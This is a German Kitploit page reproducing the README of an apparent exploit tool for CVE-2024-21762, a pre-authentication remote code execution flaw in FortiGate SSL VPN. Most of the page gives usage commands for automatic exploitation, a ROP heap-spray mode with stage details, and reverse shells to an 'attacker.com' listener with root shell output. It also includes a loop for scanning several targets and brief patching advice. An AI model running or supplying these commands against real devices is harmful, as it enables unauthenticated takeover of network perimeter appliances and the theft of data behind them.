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CVE-2024-21762 — Erkennt und nutzt CVE-2024-21762 Pre-Authentication RCE in FortiGate SSL VPN aus, mit Basisvalidierung, automatischer Ausnutzung, ROP-Heap-Spray-Modus und Reverse Shell. | Kitploit
Tools/GitHubGitHub/0x13-bytezer0/cve-2024-21762
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingRemote-Access-Tool
GitHub0x13-bytezer0/cve-2024-21762

CVE-2024-21762

Erkennt und nutzt CVE-2024-21762 Pre-Authentication RCE in FortiGate SSL VPN aus, mit Basisvalidierung, automatischer Ausnutzung, ROP-Heap-Spray-Modus und Reverse Shell.

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vor 7 MonatenNoch nicht geprüft

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CVE-2024-21762 - FortiGate SSL VPN RCE Erkennungs- & Exploit-Tool

Python 3.7+ License Vulnerability: Critical

Erkennungs- und Exploit-Tool für CVE-2024-21762 – Kritische Schwachstelle in FortiGate SSL VPN

⚠️ RECHTLICHER HINWEIS: Dieses Tool ist ausschließlich für den Einsatz in autorisierten Testumgebungen bestimmt. Die unbefugte Nutzung auf Systemen ist RECHTSWIDRIG und kann schwerwiegende rechtliche Konsequenzen haben.

Überblick

CVE-2024-21762 ist eine kritische Schwachstelle in FortiGate SSL VPN-Komponenten, die Remote Code Execution (RCE) ohne Authentifizierung ermöglicht. Der Fehler liegt in einer unsicheren Verarbeitung von HTTP-Anfragen mit Chunked Transfer-Encoding, was zu einem Out-of-Bounds Write in der Komponente sslvpnd führt.

Technische Details

AttributInformation
CVE IDCVE-2024-21762
SchwachstelleOut-of-Bounds Write in sslvpnd
TypRemote Code Execution (RCE) ohne Authentifizierung
CVSS Score9.8 (Kritisch)
Betroffene KomponenteFortiOS SSL VPN
Betroffene Versionen7.0.0–7.0.13, 7.2.0–7.2.6, 7.4.0–7.4.2

Funktionen

✅ Schwachstellenerkennung – Identifiziert anfällige FortiGate-Geräte mittels manipulierter Anfragen
✅ Baseline-Test – Überprüft das normale Serververhalten vor den Tests
✅ Automatischer Modus – Erkennt Schwachstellen und führt automatisch einen Exploit durch
✅ Reverse Shell – Unterstützt Bash-Reverse-Shell mit IP/Port-Konfiguration
✅ Eingabevalidierung – Validiert IPs und Ports vor dem Exploit
✅ Detaillierte Berichte – Erstellt Berichte mit Empfehlungen zur Behebung
✅ Robuste Fehlerbehandlung – Sicheres Verbindungs- und Ausnahmemanagement

Voraussetzungen

  • Python 3.7 oder höher
  • Standardmodule der Python-Bibliothek (socket, ssl, argparse, datetime, time, re)
  • Netzwerkzugriff auf das Ziel (Port 443 oder benutzerdefiniert)

Installation

root@kitploit:~
# Repository klonen
git clone https://github.com/ihr-benutzername/CVE-2024-21762.git
cd CVE-2024-21762

# Syntax überprüfen
python -m py_compile EXPLOIT.py

# Skript ausführen
python EXPLOIT.py -h

Verwendung

Einfache Nutzung

root@kitploit:~
# Einfacher Erkennungstest
python EXPLOIT.py 192.168.1.100

# Mit benutzerdefiniertem Port
python EXPLOIT.py 192.168.1.100 -p 8443

# Mit erhöhtem Timeout
python EXPLOIT.py 192.168.1.100 --timeout 20

Automatischer Modus (Erkennung + Exploit)

root@kitploit:~
# Automatischer Modus mit vorkonfigurierter Reverse Shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# Automatischer Modus ohne Angabe von Credentials (interaktive Abfrage)
python EXPLOIT.py 192.168.1.100 --auto

ROP-Modus – Erweiterter Exploit mit Heap Spray

Der ROP-Modus implementiert einen zweistufigen Exploit mit Heap Spray für bestimmte Ziele (FortiOS 7.4.2):

root@kitploit:~
# ROP-Exploit mit Node.js-Reverse-Shell
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# Mit benutzerdefiniertem Port
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# Mit erhöhtem Timeout für langsame Ziele
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

ROP-Exploit-Ablauf:

  1. Stufe 1: Senden eines 1,8 MB Heap Sprays mit ROP-Gadgets
  2. 2 Sekunden warten, damit die CPU die Daten verarbeiten kann
  3. Stufe 2: Auslösen des OOB-Write mit einem 4137 Byte großen Chunk
  4. 3 Sekunden warten, bis das Payload ausgeführt wird
  5. Node.js-Reverse-Verbindung wird hergestellt

Auf Ihrem Lausch-Server:

root@kitploit:~
# Linux/Mac/Windows mit netcat
nc -lnvp 4242

# Erwartete Ausgabe:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ Wichtiger Hinweis: Der ROP-Modus ist für FortiOS 7.4.2.F-build2571 optimiert. Andere Versionen funktionieren möglicherweise nicht wegen der fest codierten Offsets in der ROP-Kette.

Manueller Test mit Reverse Shell

root@kitploit:~
# Reverse-Shell-Payload senden
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# Kombination mehrerer Optionen
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

Verfügbare Optionen

root@kitploit:~
positional arguments:
  target                    Ziel-Hostname oder IP, das/die getestet werden soll

optional arguments:
  -h, --help               Zeigt diese Hilfemeldung an
  -t, --target HOSTNAME    Ziel-Hostname oder IP (alternativ)
  -p, --port PORT          SSL-VPN-Port (Standard: 443)
  --timeout SECONDS        Timeout in Sekunden (Standard: 10)
  -li, --lhost IP          Lokale IP zum Empfangen der Reverse Shell
  -lp, --lport PORT        Lokaler Port zum Empfangen der Reverse Shell
  --no-baseline            Überspringt den Baseline-Test
  --auto                   Automatischer Modus: Erkennung und Exploit
  --rop                    ROP-Modus: Erweiterter Exploit mit Heap Spray (FortiOS 7.4.2)
  -v, --version            Zeigt die Skriptversion an

Vollständige Anwendungsbeispiele

1. Einfache Erkennung

root@kitploit:~
python EXPLOIT.py 192.168.1.100

Erwartetes Ergebnis bei vorhandener Schwachstelle:

root@kitploit:~
[+] Starte Schwachstellentest...
[!] VERWUNDBAR ERKANNT!
[!] Server hat Verbindung abrupt abgebrochen
[!] STATUS: VERWUNDBAR

2. Automatischer Exploit mit Reverse Shell

root@kitploit:~
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

Auf Ihrem Server:

root@kitploit:~
# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. Test mehrerer Ziele

root@kitploit:~
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

Funktionsweise

Erkennungsablauf

  1. Baseline-Test – Sendet eine normale HTTP-Anfrage, um das Standardverhalten zu prüfen
  2. Manipulierte Anfrage – Sendet eine fehlerhafte HTTP-Anfrage mit anfälligem Chunked-Encoding
  3. Analyse – Analysiert die Antwort auf Anzeichen einer Schwachstelle:
    • Abrupter Verbindungsabbruch
    • Timeout/Absturz des Servers
    • Ungewöhnliche TLS-Alarme
  4. Bericht – Erstellt einen Bericht mit Status und Empfehlungen

Exploit-Ablauf (Automatischer Modus)

  1. Führt den Erkennungstest durch
  2. Wenn anfällig, wird ein Reverse-Shell-Payload injiziert
  3. Wartet auf die eingehende Reverse-Verbindung
  4. Erstellt den endgültigen Bericht

Anzeichen für eine Schwachstelle

Das Tool betrachtet ein Ziel als anfällig, wenn eines der folgenden Verhaltensweisen erkannt wird:

  • ✓ Verbindung wird abrupt beendet (Leere Antwort)
  • ✓ Timeout nach dem Senden des Payloads (Serverabsturz)
  • ✓ TLS-Alarm empfangen (sslvpnd abgestürzt)
  • ✓ Verbindungsrücksetzung durch den Peer

Betroffene Versionen

VersionErkennungROP-ModusStatus
FortiOS 7.0.0 – 7.0.13✅ Ja❌ Nein⚠️ VERWUNDBAR
FortiOS 7.2.0 – 7.2.6✅ Ja❌ Nein⚠️ VERWUNDBAR
FortiOS 7.4.0 – 7.4.1✅ Ja❌ Nein⚠️ VERWUNDBAR
FortiOS 7.4.2 (Build ≤ 2571)✅ Ja✅ Ja⚠️ VERWUNDBAR
FortiOS 7.4.3+❌ Nein❌ Nein✅ BEHOBEN

Abhilfe

Sofortmaßnahmen

  1. FortiOS aktualisieren auf eine behobene Version:

    • FortiOS 7.0.14+
    • FortiOS 7.2.7+
    • FortiOS 7.4.3+
  2. Vorübergehende Isolation

    • Externen Zugriff auf das SSL VPN deaktivieren
    • Administrativen Zugriff einschränken
  3. Überwachung

    • Logs auf Anzeichen eines Exploits prüfen
    • Auf ungewöhnliche Anmeldedaten und Zugriffe achten

Nachkontrolle

root@kitploit:~
# FortiOS-Version überprüfen
python EXPLOIT.py ihr-fortinet.com

Wenn das Ergebnis „NICHT VERWUNDBAR“ anzeigt, wurde der Patch erfolgreich angewendet.

Projektstruktur

root@kitploit:~
CVE-2024-21762/
├── EXPLOIT.py          # Haupt-Exploit-Skript
├── README.md           # Diese Datei
├── LICENSE             # MIT-Lizenz
└── .gitignore          # Git-Konfiguration

Methoden der Klasse

CVE2024_21762_Detector

MethodeBeschreibung
test_vulnerability()Testet die Schwachstelle durch Senden einer manipulierten Anfrage
exploit(lhost, lport)Nutzt die Schwachstelle mit Reverse Shell aus
test_baseline()Testet das normale Serververhalten
generate_report()Erstellt einen Abschlussbericht mit Status
_create_ssl_context()Erstellt einen wiederverwendbaren SSL-Kontext
_create_socket_connection()Stellt eine sichere TLS-Verbindung her
_close_socket(sock)Schließt einen Socket sicher
_is_valid_ip(ip_str)Validiert das IP-Format

Fehlerbehandlung

Das Tool implementiert:

  • ✓ Robuste Eingabevalidierung
  • ✓ Behandlung von SSL/TLS-Ausnahmen
  • ✓ Timeout bei Verbindungen
  • ✓ Sicheres Schließen von Sockets
  • ✓ Beschreibende Fehlermeldungen

Einschränkungen

  • ⚠️ Erfordert Netzwerkkonnektivität zum Ziel
  • ⚠️ Erkennt die Schwachstelle, garantiert aber keinen erfolgreichen Exploit
  • ⚠️ Reverse Shell hängt von der Zielumgebung ab (erfordert bash)
  • ⚠️ Funktioniert nicht mit restriktiven Firewalls

FAQ

F: Kann ich es unter Windows verwenden?
A: Ja, das Python-Skript läuft unter Windows, allerdings funktioniert die Standard-Bash-Reverse-Shell nicht. Sie bräuchten ein benutzerdefiniertes Payload.

F: Woran erkenne ich, ob der Exploit erfolgreich war?
A: Überprüfen Sie den lauschenden Rechner auf die Reverse Shell (nc/ncat). Das Skript zeigt Fortschrittsmeldungen an.

F: Kann ich es gegen mehrere Ziele einsetzen?
A: Ja, Sie können ein Bash/PowerShell-Skript erstellen, um über eine Liste von IPs zu iterieren.

F: Was ist der Unterschied zwischen normalem und automatischem Modus?
A: Der automatische Modus führt den Exploit automatisch durch, wenn eine Schwachstelle gefunden wird. Der normale Modus führt nur die Erkennung durch.

Mitwirken

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Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe Datei LICENSE für Details.

Haftungsausschluss

Diese Software wird "wie besehen" für Forschungs- und autorisierte Testzwecke bereitgestellt. Die Autoren haften nicht für:

  • Schäden durch unbefugte Nutzung
  • Datenverlust
  • Auswirkungen auf Produktionssysteme
  • Rechtliche Konsequenzen unbefugter Nutzung

VERWENDEN SIE ES VERANTWORTUNGSBEWUSST UND NUR IN AUTORISIERTEN UMGEBUNGEN

Referenzen

  • Fortinet Security Advisory
  • NVD – CVE-2024-21762
  • CVSS-Rechner

Autor

Entwickelt zu Bildungs- und Forschungszwecken im Bereich Cybersicherheit.


⚠️ Denken Sie daran: Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testberechtigung haben. Nicht autorisierte Exploitation ist eine Straftat.

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